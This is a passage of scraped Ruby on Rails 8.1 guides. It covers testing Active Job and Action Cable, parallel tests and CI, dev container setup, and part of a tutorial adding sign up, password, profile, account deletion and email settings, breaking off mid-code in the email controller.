Jobs can be tested in isolation (focusing on the job's behavior) and in context (focusing on the calling code's behavior).

### [12.1. Testing Jobs in Isolation](#testing-jobs-in-isolation)

When you generate a job, an associated test file will also be generated in the `test/jobs` directory.

Here is a test you could write for a billing job:

```
require "test_helper"

class BillingJobTest < ActiveJob::TestCase
  test "account is charged" do
    perform_enqueued_jobs do
      BillingJob.perform_later(account, product)
    end
    assert account.reload.charged_for?(product)
  end
end
```

The default queue adapter for tests will not perform jobs until [`perform_enqueued_jobs`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs) is called. Additionally, it will clear all jobs before each test is run so that tests do not interfere with each other.

The test uses `perform_enqueued_jobs` and [`perform_later`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later) instead of [`perform_now`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Execution/ClassMethods.html#method-i-perform_now) so that if retries are configured, retry failures are caught by the test instead of being re-enqueued and ignored.

### [12.2. Testing Jobs in Context](#testing-jobs-in-context)

It's good practice to test that jobs are correctly enqueued, for example, by a controller action. The [`ActiveJob::TestHelper`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/TestHelper.html) module provides several methods that can help with this, such as [`assert_enqueued_with`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/TestHelper.html#method-i-assert_enqueued_with).

Here is an example that tests an account model method:

```
require "test_helper"

class AccountTest < ActiveSupport::TestCase
  include ActiveJob::TestHelper

  test "#charge_for enqueues billing job" do
    assert_enqueued_with(job: BillingJob) do
      account.charge_for(product)
    end

    assert_not account.reload.charged_for?(product)

    perform_enqueued_jobs

    assert account.reload.charged_for?(product)
  end
end
```

### [12.3. Testing that Exceptions are Raised](#testing-that-exceptions-are-raised)

Testing that your job raises an exception in certain cases can be tricky, especially when you have retries configured. The `perform_enqueued_jobs` helper fails any test where a job raises an exception, so to have the test succeed when the exception is raised you have to call the job's `perform` method directly.

```
require "test_helper"

class BillingJobTest < ActiveJob::TestCase
  test "does not charge accounts with insufficient funds" do
    assert_raises(InsufficientFundsError) do
      BillingJob.new(empty_account, product).perform
    end
    assert_not account.reload.charged_for?(product)
  end
end
```

This method is not recommended in general, as it circumvents some parts of the framework, such as argument serialization.

## [13. Testing Action Cable](#testing-action-cable)

Since Action Cable is used at different levels inside your application, you'll need to test both the channels, connection classes themselves, and that other entities broadcast correct messages.

### [13.1. Connection Test Case](#connection-test-case)

By default, when you generate a new Rails application with Action Cable, a test for the base connection class (`ApplicationCable::Connection`) is generated as well under `test/channels/application_cable` directory.

Connection tests aim to check whether a connection's identifiers get assigned properly or that any improper connection requests are rejected. Here is an example:

```
class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase
  test "connects with params" do
    # Simulate a connection opening by calling the `connect` method
    connect params: { user_id: 42 }

    # You can access the Connection object via `connection` in tests
    assert_equal connection.user_id, "42"
  end

  test "rejects connection without params" do
    # Use `assert_reject_connection` matcher to verify that
    # connection is rejected
    assert_reject_connection { connect }
  end
end
```

You can also specify request cookies the same way you do in integration tests:

```
test "connects with cookies" do
  cookies.signed[:user_id] = "42"

  connect

  assert_equal connection.user_id, "42"
end
```

See the API documentation for [`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/TestCase.html) for more information.

### [13.2. Channel Test Case](#channel-test-case)

By default, when you generate a channel, an associated test will be generated as well under the `test/channels` directory. Here's an example test with a chat channel:

```
require "test_helper"

class ChatChannelTest < ActionCable::Channel::TestCase
  test "subscribes and stream for room" do
    # Simulate a subscription creation by calling `subscribe`
    subscribe room: "15"

    # You can access the Channel object via `subscription` in tests
    assert subscription.confirmed?
    assert_has_stream "chat_15"
  end
end
```

This test is pretty simple and only asserts that the channel subscribes the connection to a particular stream.

You can also specify the underlying connection identifiers. Here's an example test with a web notifications channel:

```
require "test_helper"

class WebNotificationsChannelTest < ActionCable::Channel::TestCase
  test "subscribes and stream for user" do
    stub_connection current_user: users(:john)

    subscribe

    assert_has_stream_for users(:john)
  end
end
```

See the API documentation for [`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/TestCase.html) for more information.

### [13.3. Custom Assertions And Testing Broadcasts Inside Other Components](#custom-assertions-and-testing-broadcasts-inside-other-components)

Action Cable ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActionCable::TestHelper`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/TestHelper.html).

It's a good practice to ensure that the correct message has been broadcasted inside other components (e.g. inside your controllers). This is precisely where the custom assertions provided by Action Cable are pretty useful. For instance, within a model:

```
require "test_helper"

class ProductTest < ActionCable::TestCase
  test "broadcast status after charge" do
    assert_broadcast_on("products:#{product.id}", type: "charged") do
      product.charge(account)
    end
  end
end
```

If you want to test the broadcasting made with `Channel.broadcast_to`, you should use `Channel.broadcasting_for` to generate an underlying stream name:

```
# app/jobs/chat_relay_job.rb
class ChatRelayJob < ApplicationJob
  def perform(room, message)
    ChatChannel.broadcast_to room, text: message
  end
end
```

```
# test/jobs/chat_relay_job_test.rb
require "test_helper"

class ChatRelayJobTest < ActiveJob::TestCase
  include ActionCable::TestHelper

  test "broadcast message to room" do
    room = rooms(:all)

    assert_broadcast_on(ChatChannel.broadcasting_for(room), text: "Hi!") do
      ChatRelayJob.perform_now(room, "Hi!")
    end
  end
end
```

## [14. Running tests in Continuous Integration (CI)](#running-tests-in-continuous-integration-ci)

Continuous Integration (CI) is a development practice where changes are frequently integrated into the main codebase, and as such, are automatically tested before merge.

To run all tests in a CI environment, there's just one command you need:

```
$ bin/rails test
```

If you are using [System Tests](#system-testing), `bin/rails test` will not run them, since they can be slow. To also run them, add another CI step that runs `bin/rails test:system`, or change your first step to `bin/rails test:all`, which runs all tests including system tests.

## [15. Parallel Testing](#parallel-testing)

Running tests in parallel reduces the time it takes your entire test suite to run. While forking processes is the default method, threading is supported as well.

### [15.1. Parallel Testing with Processes](#parallel-testing-with-processes)

The default parallelization method is to fork processes using Ruby's DRb system. The processes are forked based on the number of workers provided. The default number is the actual core count on the machine, but can be changed by the number passed to the `parallelize` method.

To enable parallelization add the following to your `test_helper.rb`:

```
class ActiveSupport::TestCase
  parallelize(workers: 2)
end
```

The number of workers passed is the number of times the process will be forked. You may want to parallelize your local test suite differently from your CI, so an environment variable is provided to be able to easily change the number of workers a test run should use:

```
$ PARALLEL_WORKERS=15 bin/rails test
```

When parallelizing tests, Active Record automatically handles creating a database and loading the schema into the database for each process. The databases will be suffixed with the number corresponding to the worker. For example, if you have 2 workers the tests will create `test-database-0` and `test-database-1` respectively.

If the number of workers passed is 1 or fewer the processes will not be forked and the tests will not be parallelized and they will use the original `test-database` database.

Two hooks are provided, one runs when the process is forked, and one runs before the forked process is closed. These can be useful if your app uses multiple databases or performs other tasks that depend on the number of workers.

The `parallelize_setup` method is called right after the processes are forked. The `parallelize_teardown` method is called right before the processes are closed.

```
class ActiveSupport::TestCase
  parallelize_setup do |worker|
    # setup databases
  end

  parallelize_teardown do |worker|
    # cleanup databases
  end

  parallelize(workers: :number_of_processors)
end
```

These methods are not needed or available when using parallel testing with threads.

### [15.2. Parallel Testing with Threads](#parallel-testing-with-threads)

If you prefer using threads or are using JRuby, a threaded parallelization option is provided. The threaded parallelizer is backed by minitest's `Parallel::Executor`.

To change the parallelization method to use threads over forks put the following in your `test_helper.rb`:

```
class ActiveSupport::TestCase
  parallelize(workers: :number_of_processors, with: :threads)
end
```

Rails applications generated from JRuby or TruffleRuby will automatically include the `with: :threads` option.

As in the section above, you can also use the environment variable `PARALLEL_WORKERS` in this context, to change the number of workers your test run should use.

### [15.3. Testing Parallel Transactions](#testing-parallel-transactions)

When you want to test code that runs parallel database transactions in threads, those can block each other because they are already nested under the implicit test transaction.

To workaround this, you can disable transactions in a test case class by setting `self.use_transactional_tests = false`:

```
class WorkerTest < ActiveSupport::TestCase
  self.use_transactional_tests = false

  test "parallel transactions" do
    # start some threads that create transactions
  end
end
```

With disabled transactional tests, you have to clean up any data tests create as changes are not automatically rolled back after the test completes.

### [15.4. Threshold to Parallelize tests](#threshold-to-parallelize-tests)

Running tests in parallel adds an overhead in terms of database setup and fixture loading. Because of this, Rails won't parallelize executions that involve fewer than 50 tests.

You can configure this threshold in your `test.rb`:

```
config.active_support.test_parallelization_threshold = 100
```

And also when setting up parallelization at the test case level:

```
class ActiveSupport::TestCase
  parallelize threshold: 100
end
```

## [16. Testing Eager Loading](#testing-eager-loading)

Normally, applications do not eager load in the `development` or `test` environments to speed things up. But they do in the `production` environment.

If some file in the project cannot be loaded for whatever reason, it is important to detect it before deploying to production.

### [16.1. Continuous Integration](#continuous-integration)

If your project has CI in place, eager loading in CI is an easy way to ensure the application eager loads.

CIs typically set an environment variable to indicate the test suite is running there. For example, it could be `CI`:

```
# config/environments/test.rb
config.eager_load = ENV["CI"].present?
```

Starting with Rails 7, newly generated applications are configured that way by default.

If your project does not have continuous integration, you can still eager load in the test suite by calling `Rails.application.eager_load!`:

```
require "test_helper"

class ZeitwerkComplianceTest < ActiveSupport::TestCase
  test "eager loads all files without errors" do
    assert_nothing_raised { Rails.application.eager_load! }
  end
end
```

## [17. Additional Testing Resources](#additional-testing-resources)

### [17.1. Errors](#errors)

In system tests, integration tests and functional controller tests, Rails will attempt to rescue from errors raised and respond with HTML error pages by default. This behavior can be controlled by the [`config.action_dispatch.show_exceptions`](/configuring.html#config-action-dispatch-show-exceptions) configuration.

### [17.2. Testing Time-Dependent Code](#testing-time-dependent-code)

Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.

The following example uses the [`travel_to`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to) helper:

```
# Given a user is eligible for gifting a month after they register.
user = User.create(name: "Gaurish", activation_date: Date.new(2004, 10, 24))
assert_not user.applicable_for_gifting?

travel_to Date.new(2004, 11, 24) do
  # Inside the `travel_to` block `Date.current` is stubbed
  assert_equal Date.new(2004, 10, 24), user.activation_date
  assert user.applicable_for_gifting?
end

# The change was visible only inside the `travel_to` block.
assert_equal Date.new(2004, 10, 24), user.activation_date
```

Please see [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/TimeHelpers.html) API reference for more information about the available time helpers.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/getting_started_with_devcontainer.html
----

***

The best way to read this guide is to follow it step by step. All steps are essential to run this example application and no additional code or steps are needed.

This guide helps you get set up with [development containers (or dev containers for short)](https://containers.dev/) for a full-featured development environment. Dev containers are used to run your Rails application in a container, without needing to install Ruby or Rails or its dependencies directly on your machine. This is the fastest way to get your Rails application up and running.

This is an alternative to installing Ruby and Rails directly on your machine, which is covered in the [Getting Started guides](getting_started.html#creating-a-new-rails-app). Once you have completed this guide, you can continue building your application by following the Getting Started guide.

## [1. Setup and Installation](#setup-and-installation)

To get set up, you will need to install the relevant tools; Docker, VS Code and `rails-new`. We'll go into details about each one below.

### [1.1. Installing Docker](#installing-docker)

Dev containers are run using Docker, an open platform for developing, shipping, and running applications. You can install Docker by following the installation instructions for your operating system in the [Docker docs](https://docs.docker.com/desktop/).

Once Docker has been installed, launch the Docker application to begin running the Docker engine on your machine.

### [1.2. Installing VS Code](#installing-vs-code)

Visual Studio Code (VS Code) is an open source code editor developed by Microsoft. VS Code's Dev Containers extension allows you to open any folder inside (or mounted into) a container and take advantage of Visual Studio Code's full feature set. A [devcontainer.json](https://code.visualstudio.com/docs/devcontainers/containers#_create-a-devcontainerjson-file) file in your project tells VS Code how to access (or create) a development container with a well-defined tool and runtime stack. It allows you to quickly spin up containers, access terminal commands, debug code, and utilize extensions.

You can install VS Code by downloading it from [the website](https://code.visualstudio.com/).

You can install the Dev Containers extension by downloading it from [the marketplace](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers).

### [1.3. Installing rails-new](#installing-rails-new)

`rails-new` generates a new Rails application for you without having to install Ruby on your machine. It uses Docker to generate the Rails application, thus allowing Docker to take care of installing the correct Ruby and Rails versions for you.

To install `rails-new`, follow the installation instructions [in the README](https://github.com/rails/rails-new?tab=readme-ov-file#installation).

## [2. Creating the Store Application](#creating-the-store-application)

Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself. The `rails-new` tool uses this generator to create a new Rails application for you.

The examples below use `$` to represent your terminal prompt in a UNIX-like OS, though it may have been customized to appear differently.

To use `rails-new` to generate your app, open a terminal, navigate to a directory where you have rights to create files, and run:

```
$ rails-new store --devcontainer
```

This will create a Rails application called Store in a `store` directory.

You can see all of the command line options that the Rails application generator accepts by running `rails-new --help`.

After you create the store application, switch to its folder:

```
$ cd store
```

The `store` directory will have a number of generated files and folders that make up the structure of a Rails application. Most of the work in this tutorial will happen in the `app` folder. For a full rundown of everything in your application see the full [Getting Started guide](getting_started.html).

## [3. Opening the Store Application in a Dev Container](#opening-the-store-application-in-a-dev-container)

Our new Rails application comes with a dev container already configured and ready to use. We will use VS Code to spin up and work with our dev container. Start by launching VS Code and opening your application.

Once the application opens, VS Code should prompt you that it has found a dev container configuration file, and you can reopen the folder in a dev container. Click the green "Reopen in Container" button to create the dev container.

Once the dev container setup is complete, your development environment is ready to use, with Ruby, Rails, and all your dependencies installed.

You can open the terminal within VS Code to verify that Rails is installed:

```
$ rails --version
Rails 8.1.0
```

You can now continue with the [Getting Started guide](getting_started.html) and begin building your Store application. You will be working within VS Code, which serves as your entry point to your application's dev container, where you can run code, run tests, and run your application.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/sign_up_and_settings.html
----

***

## [1. Introduction](#introduction)

One of the most common features to add to any application is a sign up process for registering new users. The e-commerce application we've built so far only has authentication and users must be created in the Rails console or a script.

This feature is required before we can add other features. For example, to let users create wishlists, they will need to be able to sign up first before they can create a wishlist associated with their account.

Let's get started!

## [2. Adding Sign Up](#adding-sign-up)

We've already used the [Rails authentication generator in the Getting Started guide](/getting_started.html#adding-authentication) to allow users to login to their accounts. The generator created a `User` model with `email_address:string` and `password_digest:string` columns in the database. It also added `has_secure_password` to the `User` model which handles passwords and confirmations. This takes care of most of what we need to add sign up to our application.

### [2.1. Adding Names To Users](#adding-names-to-users)

It's also a good idea to collect the user's name at sign up. This allows us to personalize their experience and address them directly in the application. Let's start by adding `first_name` and `last_name` columns to the database.

In the terminal, create a migration with these columns:

```
$ bin/rails g migration AddNamesToUsers first_name:string last_name:string
```

Then migrate the database:

```
$ bin/rails db:migrate
```

Let's also add a method to combine `first_name` and `last_name`, so that we can display the user's full name.

Open `app/models/user.rb` and add the following:

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  normalizes :email_address, with: ->(e) { e.strip.downcase }

  validates :first_name, :last_name, presence: true

  def full_name
    "#{first_name} #{last_name}"
  end
end
```

`has_secure_password` only validates the presence of the password. Consider adding more validations for password minimum length or complexity to improve security.

Next, let's add sign up so we can register new users.

### [2.2. Sign Up Routes & Controller](#sign-up-routes-controller)

Now that our database has all the necessary columns to register new users, the next step is to create a route for sign up and its matching controller.

In `config/routes.rb`, let's add a resource for sign up:

```
resource :session
resources :passwords, param: :token
resource :sign_up
```

We're using a singular resource here because we want a singular route for `/sign_up`.

This route directs requests to `app/controllers/sign_ups_controller.rb` so let's create that controller file now.

```
class SignUpsController < ApplicationController
  def show
    @user = User.new
  end
end
```

We're using the `show` action to create a new `User` instance, which will be used to display the sign up form.

Let's create the form next. Create `app/views/sign_ups/show.html.erb` with the following code:

```
<h1>Sign Up</h1>

<%= form_with model: @user, url: sign_up_path do |form| %>
  <% if form.object.errors.any? %>
    <div>Error: <%= form.object.errors.full_messages.first %></div>
  <% end %>

  <div>
    <%= form.label :first_name %>
    <%= form.text_field :first_name, required: true, autofocus: true, autocomplete: "given-name" %>
  </div>

  <div>
    <%= form.label :last_name %>
    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
  </div>

  <div>
    <%= form.label :email_address %>
    <%= form.email_field :email_address, required: true, autocomplete: "email" %>
  </div>

  <div>
    <%= form.label :password %>
    <%= form.password_field :password, required: true, autocomplete: "new-password" %>
  </div>

  <div>
    <%= form.label :password_confirmation %>
    <%= form.password_field :password_confirmation, required: true, autocomplete: "new-password" %>
  </div>

  <div>
    <%= form.submit "Sign up" %>
  </div>
<% end %>
```

This form collects the user's name, email, and password. We're using the `autocomplete` attribute to help the browser suggest the values for these fields based on the user's saved information.

You'll also notice we set `url: sign_up_path` in the form alongside `model: @user`. Without this `url:` argument, `form_with` would see we have a `User` and send the form to `/users` by default. Since we want the form to submit to `/sign_up`, we set the `url:` to override the default route.

Back in `app/controllers/sign_ups_controller.rb` we can handle the form submission by adding the `create` action.

```
class SignUpsController < ApplicationController
  def show
    @user = User.new
  end

  def create
    @user = User.new(sign_up_params)
    if @user.save
      start_new_session_for(@user)
      redirect_to root_path
    else
      render :show, status: :unprocessable_entity
    end
  end

  private
    def sign_up_params
      params.expect(user: [ :first_name, :last_name, :email_address, :password, :password_confirmation ])
    end
end
```

The `create` action assigns parameters and attempts to save the user to the database. If successful, it logs the user in and redirects to `root_path`, otherwise it re-renders the form with errors.

Visit <http://localhost:3000/sign_up> to try it out.

### [2.3. Requiring Unauthenticated Access](#requiring-unauthenticated-access)

Authenticated users can still access `SignUpsController` and create another account while they're logged in which is confusing.

Let's fix this by adding a helper to the `Authentication` module in `app/controllers/concerns/authentication.rb`.

```
module Authentication
  extend ActiveSupport::Concern

  included do
    before_action :require_authentication
    helper_method :authenticated?
  end

  class_methods do
    def allow_unauthenticated_access(**options)
      skip_before_action :require_authentication, **options
    end

    def unauthenticated_access_only(**options)
      allow_unauthenticated_access **options
      before_action -> { redirect_to root_path if authenticated? }, **options
    end

    # ...
```

The `unauthenticated_access_only` class method can be used in any controller where we want to restrict actions to unauthenticated users only.

We can then use this method at the top of `SignUpsController`.

```
class SignUpsController < ApplicationController
  unauthenticated_access_only

  # ...
end
```

### [2.4. Rate Limiting Sign Up](#rate-limiting-sign-up)

Our application will be accessible on the internet so we're bound to have malicious bots and users trying to spam our application. We can add rate limiting to sign up to slow down anyone submitting too many requests.

Rails makes this easy with the [`rate_limit`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/RateLimiting/ClassMethods.html) method in controllers.

```
class SignUpsController < ApplicationController
  unauthenticated_access_only
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to sign_up_path, alert: "Try again later." }

  # ...
end
```

This will block any form submissions that happen more than 10 times within 3 minutes.

## [3. Editing Passwords](#editing-passwords)

Now that users can login, let's create all the usual places that users would expect to update their profile, password, email address, and other settings.

### [3.1. Using Namespaces](#using-namespaces)

The Rails authentication generator already created a controller at `app/controllers/passwords_controller.rb` for password resets. This means we need to use a different controller for editing passwords of authenticated users.

To prevent conflicts, we can use a feature called **namespaces**. A namespace organizes routes, controllers, and views into folders and helps prevent conflicts like our two passwords controllers.

We'll create a namespace called "Settings" to separate out the user and store settings from the rest of our application.

In `config/routes.rb` we can add the Settings namespace along with a resource for editing passwords:

```
namespace :settings do
  resource :password, only: [ :show, :update ]
end
```

This will generate a route for `/settings/password` for editing the current user's password which is separate from the password resets routes at `/password`.

### [3.2. Adding the Namespaced Passwords Controller & View](#adding-the-namespaced-passwords-controller-view)

Namespaces also move controllers into a matching module in Ruby. This controller will be in a `settings` folder to match the namespace.

Let's create the folder and controller at `app/controllers/settings/passwords_controller.rb` and start with the `show` action.

```
class Settings::PasswordsController < ApplicationController
  def show
  end
end
```

Views also move to a `settings` folder so let's create the folder and view at `app/views/settings/passwords/show.html.erb` for this action.

```
<h1>Password</h1>

<%= form_with model: Current.user, url: settings_password_path do |form| %>
  <% if form.object.errors.any? %>
    <div><%= form.object.errors.full_messages.first %></div>
  <% end %>

  <div>
    <%= form.label :password_challenge %>
    <%= form.password_field :password_challenge, required: true, autocomplete: "current-password" %>
  </div>

  <div>
    <%= form.label :password %>
    <%= form.password_field :password, required: true, autocomplete: "new-password" %>
  </div>

  <div>
    <%= form.label :password_confirmation %>
    <%= form.password_field :password_confirmation, required: true, autocomplete: "new-password" %>
  </div>

  <div>
    <%= form.submit "Update password" %>
  </div>
<% end %>
```

We've set the `url:` argument to ensure the form submits to our namespaced route and is processed by the `Settings::PasswordsController`.

Passing `model: Current.user` also tells `form_with` to submit a `PATCH` request to process the form with the `update` action.

`Current.user` comes from [CurrentAttributes](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/CurrentAttributes.html) which is a per-request attribute which resets automatically before and after each request. The Rails authentication generator uses this to keep track of the logged in User.

### [3.3. Safely Updating Passwords](#safely-updating-passwords)

Let's add that `update` action to the controller now.

```
class Settings::PasswordsController < ApplicationController
  def show
  end

  def update
    if Current.user.update(password_params)
      redirect_to settings_profile_path, status: :see_other, notice: "Your password has been updated."
    else
      render :show, status: :unprocessable_entity
    end
  end

  private
    def password_params
      params.expect(user: [ :password, :password_confirmation, :password_challenge ]).with_defaults(password_challenge: "")
    end
end
```

For security, we need to ensure that the user is the only one who can update their password. The `has_secure_password` method in our `User` model provides this attribute. If `password_challenge` is present, it will validate the password challenge against the user's current password in the database to confirm it matches.

A malicious user could try deleting the `password_challenge` field in the browser to bypass this validation. To prevent this and ensure the validation always runs, we use `.with_defaults(password_challenge: "")` to set a default value even if the `password_challenge` parameter is missing.

You can now visit <http://localhost:3000/settings/password> to update your password.

### [3.4. Renaming The Password Challenge Attribute](#renaming-the-password-challenge-attribute)

While `password_challenge` is a good name for our code, users are used to seeing "Current password" for this form field. We can rename this with locales in Rails to change how this attribute is displayed on the frontend.

Add the following to `config/locales/en.yml`:

```
en:
  hello: "Hello world"
  products:
    index:
      title: "Products"

  activerecord:
    attributes:
      user:
        password_challenge: "Current password"
```

To learn more, check out the [I18n Guide](https://guides.rubyonrails.org/i18n.html#translations-for-active-record-models)

## [4. Editing User Profiles](#editing-user-profiles)

Next, let's add a page so users can edit their profile, like updating their first and last name.

### [4.1. Profile Routes & Controller](#profile-routes-controller)

In `config/routes.rb`, add a profile resource under the settings namespace. We can also add a root to the namespace to handle any visits to `/settings` and redirect them to profile settings.

```
namespace :settings do
  resource :password, only: [ :show, :update ]
  resource :profile, only: [ :show, :update ]

  root to: redirect("/settings/profile")
end
```

Let's create our controller for editing profiles at `app/controllers/settings/profiles_controller.rb`.

```
class Settings::ProfilesController < ApplicationController
  def show
  end

  def update
    if Current.user.update(profile_params)
      redirect_to settings_profile_path, status: :see_other, notice: "Your profile was updated successfully."
    else
      render :show, status: :unprocessable_entity
    end
  end

  private
    def profile_params
      params.expect(user: [ :first_name, :last_name ])
    end
end
```

This is very similar to the passwords controller but only allows updating the user's profile details like first and last name.

Then create `app/views/settings/profiles/show.html.erb` to show the edit profile form.

```
<h1>Profile</h1>

<%= form_with model: Current.user, url: settings_profile_path do |form| %>
  <% if form.object.errors.any? %>
    <div>Error: <%= form.object.errors.full_messages.first %></div>
  <% end %>

  <div>
    <%= form.label :first_name %>
    <%= form.text_field :first_name, required: true, autocomplete: "given-name" %>
  </div>

  <div>
    <%= form.label :last_name %>
    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
  </div>

  <div>
    <%= form.submit "Update profile" %>
  </div>
<% end %>
```

You can now visit <http://localhost:3000/settings/profile> to update your name.

### [4.2. Updating Navigation](#updating-navigation)

Let's update the navigation to include a link to Settings next to the Log out button.

Open `app/views/layouts/application.html.erb` and update the navbar.

```
<!DOCTYPE html>
<html>
  <head>
    <%# ... %>
  </head>

  <body>
    <div class="notice"><%= flash[:notice] %></div>
    <div class="alert"><%= flash[:alert] %></div>

    <nav class="navbar">
      <%= link_to "Home", root_path %>
      <% if authenticated? %>
        <%= link_to "Settings", settings_root_path %>
        <%= button_to "Log out", session_path, method: :delete %>
      <% else %>
        <%= link_to "Sign Up", sign_up_path %>
        <%= link_to "Login", new_session_path %>
      <% end %>
    </nav>
```

You'll now see a Settings link in the navbar when authenticated.

### [4.3. Settings Layout](#settings-layout)

While we're here, let's add a new layout for Settings so we can organize them in a sidebar. To do this, we're going to use a [Nested Layout](layouts_and_rendering.html#using-nested-layouts).

A nested layout allows you add HTML (like a sidebar) while still rendering the application layout. This means we don't have to duplicate our head tags or navigation in our Settings layout.

Let's create `app/views/layouts/settings.html.erb` and add the following:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Password", settings_password_path %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

In the settings layout, we're providing HTML for the sidebar and telling Rails to render the application layout as the parent.

We need to modify the application layout to render the content from the nested layout using `yield(:content)`.

```
<!DOCTYPE html>
<html>
  <head>
    <%# ... %>
  </head>

  <body>
    <div class="notice"><%= flash[:notice] %></div>
    <div class="alert"><%= flash[:alert] %></div>

    <nav class="navbar">
      <%= link_to "Home", root_path %>
      <% if authenticated? %>
        <%= link_to "Settings", settings_root_path %>
        <%= button_to "Log out", session_path, method: :delete %>
      <% else %>
        <%= link_to "Sign Up", sign_up_path %>
        <%= link_to "Login", new_session_path %>
      <% end %>
    </nav>

    <main>
      <%= content_for?(:content) ? yield(:content) : yield %>
    </main>
  </body>
</html
```

This allows the application controller to be used normally with `yield` or it can be a parent layout if `content_for(:content)` is used in a nested layout.

We now have two separate `<nav>` tags, so we need to update our existing CSS selectors to avoid conflicts.

To do this, add the `.navbar` class to these selectors in `app/assets/stylesheets/application.css`.

```
nav.navbar {
  justify-content: flex-end;
  display: flex;
  font-size: 0.875em;
  gap: 0.5rem;
  max-width: 1024px;
  margin: 0 auto;
  padding: 1rem;
}

nav.navbar a {
  display: inline-block;
}
```

Then add some CSS to display the Settings nav as a sidebar.

```
section.settings {
  display: flex;
  gap: 1rem;
}

section.settings nav {
  width: 200px;
}

section.settings nav a {
  display: block;
}
```

To use this new layout, we can tell the controller we want to use a specific layout. We can add `layout "settings"` to any controller to change the layout that is rendered.

Since we will have many controllers that use this layout, we can create a base class to define shared configuration and use inheritance to use them.

Add `app/controllers/settings/base_controller.rb` and add the following:

```
class Settings::BaseController < ApplicationController
  layout "settings"
end
```

Then update `app/controllers/settings/passwords_controller.rb` to inherit from this controller.

```
class Settings::PasswordsController < Settings::BaseController
```

And update `app/controllers/settings/profiles_controller.rb` to inherit from it too.

```
class Settings::ProfilesController < Settings::BaseController
```

## [5. Deleting Accounts](#deleting-accounts)

Next, let's add the ability to delete your account. We'll start by adding another namespaced route for account to `config/routes.rb`.

```
namespace :settings do
  resource :password, only: [ :show, :update ]
  resource :profile, only: [ :show, :update ]
  resource :user, only: [ :show, :destroy ]

  root to: redirect("/settings/profile")
end
```

To handle these new routes, create `app/controllers/settings/users_controller.rb` and add the following:

```
class Settings::UsersController < Settings::BaseController
  def show
  end

  def destroy
    terminate_session
    Current.user.destroy
    redirect_to root_path, notice: "Your account has been deleted."
  end
end
```

The controller for deleting accounts is pretty straightforward. We have a `show` action to display the page and a `destroy` action to logout and delete the user. It also inherits from `Settings::BaseController` so it will use the settings layout like the others.

Now let's add the view at `app/views/settings/users/show.html.erb` with the following:

```
<h1>Account</h1>

<%= button_to "Delete my account", settings_user_path, method: :delete, data: { turbo_confirm: "Are you sure? This cannot be undone." } %>
```

And finally, we'll add a link to Account in the setting layout's sidebar.

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

That's it! You can now delete your account.

## [6. Updating Email Addresses](#updating-email-addresses)

Occasionally, users need to change the email address on their account. To do this safely, we need to store the new email address and send an email to confirm the change.

### [6.1. Adding Unconfirmed Email To Users](#adding-unconfirmed-email-to-users)

We'll start by adding a new field to the users table in our database. This will store the new email address while we're waiting for confirmation.

```
$ bin/rails g migration AddUnconfirmedEmailToUsers unconfirmed_email:string
```

Then migrate the database.

```
$ bin/rails db:migrate
```

### [6.2. Email Routes & Controller](#email-routes-controller)

Next we can add an email route under the `:settings` namespace in `config/routes.rb`.

```
namespace :settings do
  resource :email, only: [ :show, :update ]
  resource :password, only: [ :show, :update ]
  resource :profile, only: [ :show, :update ]
  resource :user, only: [ :show, :destroy ]

  root to: redirect("/settings/profile")
end
```

Then we'll create `app/controllers/settings/emails_controller.rb` to display this.

```
class Settings::EmailsController < Settings::BaseController
  def show
  end
end
```

And finally, we'll create our view at `app/views/settings/emails/show.html.erb`:

```
<h1>Change Email</h1>

<%= form_with model: Current.user, url: settings_email_path do |form| %>
  <% if form.object.errors.any? %>
    <div>Error: <%= form.object.errors.full_messages.first %></div>
  <% end %>

  <div>
    <%= form.label :unconfirmed_email, "New email address" %>
    <%= form.email_field :unconfirmed_email, required: true %>
  </div>

  <div>
    <%= form.label :password_challenge %>
    <%= form.password_field :password_challenge, required: true, autocomplete: "current-password" %>
  </div>

  <div>
    <%= form.submit "Update email address" %>
  </div>
<% end %>
```

To keep things secure, we need to ask for the new email address and validate user's current password to ensure only the owner of the account can change the email.

In our controller, we will validate the current password and save the new email address before sending an email to confirm the new email address.

```
class Settings::EmailsController < Settings::BaseController
  def show
  end

  def update
    if Current.user.update(email_params)
      UserMailer.with(user: Current.user).email_confirmation.deliver_later
